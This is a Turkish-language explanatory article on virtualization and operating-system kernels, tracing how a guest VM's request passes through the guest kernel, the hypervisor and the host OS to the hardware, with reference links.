Sanallaştırma: fiziksel kaynakların mantıksal kaynaklara dönüştüren çözümlerdir. Benim en sevdiğim tanım bu olsa gerek. Çünkü bu kavramın tek kullanım amacı olmadığı gibi birden fazlada tanımı barındırmaktadır.

Daha somut belirtmek gerekirse: misafir ( guest ) tanımlanan bir veya birden fazla işletim sisteminin ( operating system)  aynı fiziksel ekipmanların kaynaklarını paylaşarak çalışmasıdır.

Sanallaştırma sistemleri donanım ile kullanıcı arasında katman görevi oluşturur ve böylece kullanıcılar doğrudan fiziksel donanımın kaynaklarına erişemezler.Sanallaştırma sistemleri bir çok noktada: kurulum, bakım, esneklik, süreklilik, bütçe ve maliyet gibi bir çok konuda farklı bakıç açısı getiren veri merkezlerinin vazgeçilmez altyapı sistemleridir.

KERNEL

Kernel bir işletim sisteminin ana temel bileşenidir. İşletim sistemlerinin çalışma mimarisini, mantığını, karakterini, güvenliğini, performansını ve donanım uyumluluğu gibi bir çok etkeni belirleyen ana temel parçasıdır.

Bu kernel kavramını da daha somut bir şekilde belirtelim: İşletim sistemi üzerinde çalışan uygulamalar herhangi bir işlem yapmak istediklerin de bu işlemler öncelikle işletim sistemlerimize iletilir. İşletim sistemimiz ise bu işlerimi driverlara ya da fiziksel donanımlara iletmelidir ki işlem gerçekleşsin. Bunu kernel üzerinden iletir. Ve bu işlem karşılığını bulup bize çıktısını döndürmek için aynı yolu izler.

Kernel mimarisini son kullanıcılar olarak biz seçemiyoruz. İşletim sistemini yazacak olan kişi veya kurumlar tarafından seçilmektedir ve seçtikleri kernel üzerinde işletim sistemlerini yazmaktadırlar. Yani bizler bu kernel seviyesinin çok çok üzerindeki bir katmanda işletim sistemimizi ve uygulamalarımızı çalıştırmaktayız.

Örnek görselimizde sanallaştırma teknolojisi kullanılmış bir sistemimiz vardır. Son kullanıcı ( guest ) işlem yapmak istediğin de bu işlem öncelikle üzerinde bulunduğu kendi işletim sistemi ( GUEST OS ) iletir. İşlem o işletim sisteminin kendi kerneli üzerine gelerek kernel tarafından donanıma iletmek ister.

Fakat dikkat ettiyseniz altyapıda donanım yerine sanallaştırma uygulaması vardır!

Sanallaştırma uygulamasına gelen istek üzerinde bulunduğu ana işletim sistemine iletir. Ana işletim sistemi de bu isteğin sanallaştırma uygulamasından geldiğini zannederek kendi kernel’ine iletir. Kernelde driverları kullanarak o işlemi donanıma iletir. Ve böylelikle işlem bitmiş olur. Aynı şekilde işlem döngüye girip aynı yolları izleyerek sanallaştırma ortamının üzerindeki uygulamaya geri döner.

Resimdeki Görselin Açıklaması  :  Donanım > Çekirdek > İşletim Sistemi >  Sanallaştırma Uygulaması > Çekirdek > İşletim Sistemi
İngilizcesini de yazalım : Hardware > Kernel > Operation System > VirtPlatform > Kernel > Operation System

Not *** : Bazı zamanlar direk sanallaştırma platformu işletim sistemi de olabilir. Örnek : VMKernel

Bknz : https://docs.vmware.com/en/VMware-vSphere/6.0/com.vmware.vsphere.storage.doc/GUID-E3FAD26A-EF98-4BE0-B5BD-FB4597CED793.html

Ayrıca bu noktada daha detaylı bilgi almak isteyen arkadaşlar için yardımcı kaynakları buraya bırakıyorum:
https://seminer.linux.org.tr/wp-content/uploads/sanallastirma_alper_yalciner.pdf
http://www.hafifbilgiler.com/hafif-bilgiler/sanallastirma-teknolojisi/